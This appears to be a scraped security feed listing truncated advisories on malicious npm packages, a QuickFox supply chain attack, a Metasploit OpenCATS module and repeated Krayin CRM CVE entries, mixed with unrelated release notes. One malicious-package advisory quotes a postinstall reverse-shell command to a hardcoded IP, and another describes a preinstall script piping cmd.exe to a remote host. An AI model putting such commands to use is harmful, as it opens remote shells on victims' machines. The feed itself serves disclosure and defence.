QuickFox Supply Chain Attack Delivers FDMTP Backdoor via Trojanized Windows Installer

Cybersecurity researchers have disclosed what has been described as a "long-standing supply chain attack" on QuickFox, a virtual private network VPN and network acceleration tool designed for overseas Chinese users. According to Fortinet FortiGuard Labs, the supply chain attack has been ongoing...

MAL-2026-12060 Malicious code in beaver-ui-card-large (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4cddf97a67fa28e298f65b3f96b200109d5f15a8a6dde49b8bdd025e8052abf2 Package advertises itself as a React UI component library but index.js requires./setup.js, which schedules bootstrap on process.nextTick so the paylo...

MAL-2026-12061 Malicious code in bigops-eslint (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8a2b7c0da202027f856d059a571a04e01fd992845a158dcd01dfcd1bea4000bb The package advertises itself as an eslint helper but, on require of index.js, unconditionally loads helpers.js which fetches an OS-specific executab...

(0Day) PAX Technology Q80 AIP File Parsing Link Following Remote Code Execution Vulnerability

This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of PAX Technology Q80. Authentication is not required to exploit this vulnerability. The specific flaw exists within the parsing of AIP files. By creating a symbolic link, an attacker can abus...

📄 OpenCATS Installer PHP Code Injection

This Metasploit module exploits an unauthenticated PHP code injection in the OpenCATS installer AJAX endpoint CVE-2026-27760. The databaseConnectivity action passes the user POST parameter directly to changeConfigSetting, which interpolates it into a define statement in config.php without any...

MAL-2026-12004 Malicious code in vitest-preview-pro (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 367fd88886da38fc8a88929cfb486d6031ee42d44499b5f7a2d47d4e91d5b075 The package is published under a name suggesting a Vitest preview utility, but the shipped code is a rebranded copy of nodemailer with an added...

MAL-2026-11547 Malicious code in simple-date-formatter-util-9 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3f3571b881ec73a3ebf6f381b14455f9eff112ba2166366858cfca59b56b2840 package.json declares a postinstall lifecycle hook that executes bash -i & /dev/tcp/124.221.154.135/4444 0&1 &, opening an interactive reverse shell...

Malicious code in @ks-openclaw/kim (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a563317f01b921a7425ae16f740c8fa729db03087afacfea903db3dd90e15803 The package's preinstall lifecycle script preinstall.js opens a TCP socket to the hardcoded remote host 120.55.170.103:8888, spawns cmd.exe, and pipe...

Root-My-Device v0.0.6

Root My Device A fork of BuSung-dev/Root-My-Galaxy, under the Apache License 2.0 — see LICENSE and Credits. Root My Device is a one-click installer for explicitly supported firmware builds. The application itself is kept separate from device offsets, native exploit payloads, and KernelSU build...

installer v13.32.1

Overview Installation mql cnspec Scan your target platform Package Information Kubernetes Status Docker Containers: Homebrew: Install.sh: Install.ps1: macOS Pkg: Arch Linux: Installation The easiest way to install mql & cnspec is to use the install scripts. via Shell Script Linux and macOS...

CVE-2026-41452 Krayin CRM 2.2.4 Missing Authentication via install/api/admin-config-setup

Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware that allows unauthenticated remote attackers to overwrite the primary administrator account by sending a crafted HTTP POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall...

EUVD-2026-52339

Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware that allows unauthenticated remote attackers to overwrite the primary administrator account by sending a crafted HTTP POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall...

CVE-2026-41452 Krayin CRM 2.2.4 Missing Authentication via install/api/admin-config-setup

Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware that allows unauthenticated remote attackers to overwrite the primary administrator account by sending a crafted HTTP POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall...

CVE-2026-41452 Krayin CRM 2.2.4 Missing Authentication via install/api/admin-config-setup

Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware that allows unauthenticated remote attackers to overwrite the primary administrator account by sending a crafted HTTP POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall...

CVE-2026-41452

Krayin CRM 2.2.4 contains a missing authentication flaw in the installer middleware that lets unauthenticated attackers target the admin-config-setup endpoint. By sending a crafted POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall middleware redirect check, an...

installer v13.32.0

Overview Installation mql cnspec Scan your target platform Package Information Kubernetes Status Docker Containers: Homebrew: Install.sh: Install.ps1: macOS Pkg: Arch Linux: Installation The easiest way to install mql & cnspec is to use the install scripts. via Shell Script Linux and macOS...

CVE-2026-0392

eParakstītājs 3.0 for Windows before version 1.10.0 retrieves and executes its automatic updates over a channel that is not authenticated or integrity-protected. On each launch the application fetches an update descriptor XML over TLS but accepts any TLS certificate a permissive TrustManager and ...

PT-2026-67436

Name of the Vulnerable Software and Affected Versions Krayin CRM version 2.2.4 Description Missing authentication in the installer middleware allows unauthenticated remote attackers to overwrite the primary administrator account. By sending a crafted HTTP POST request containing the...

LifeOS 7.28.3

LifeOS is a Life Operating System. It knows your goals, the people who matter to you, and where you are right now, and it works to move you toward where you want to be. The engine underneath is a verifiable loop: turn any request into testable criteria, then climb until they pass. This is the fir...

CVE-2026-41452: Missing Authentication for Critical Function

Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware that allows unauthenticated remote attackers to overwrite the primary administrator account by sending a crafted HTTP POST request with the X-Requested-With: XMLHttpRequest header to bypass the CanInstall...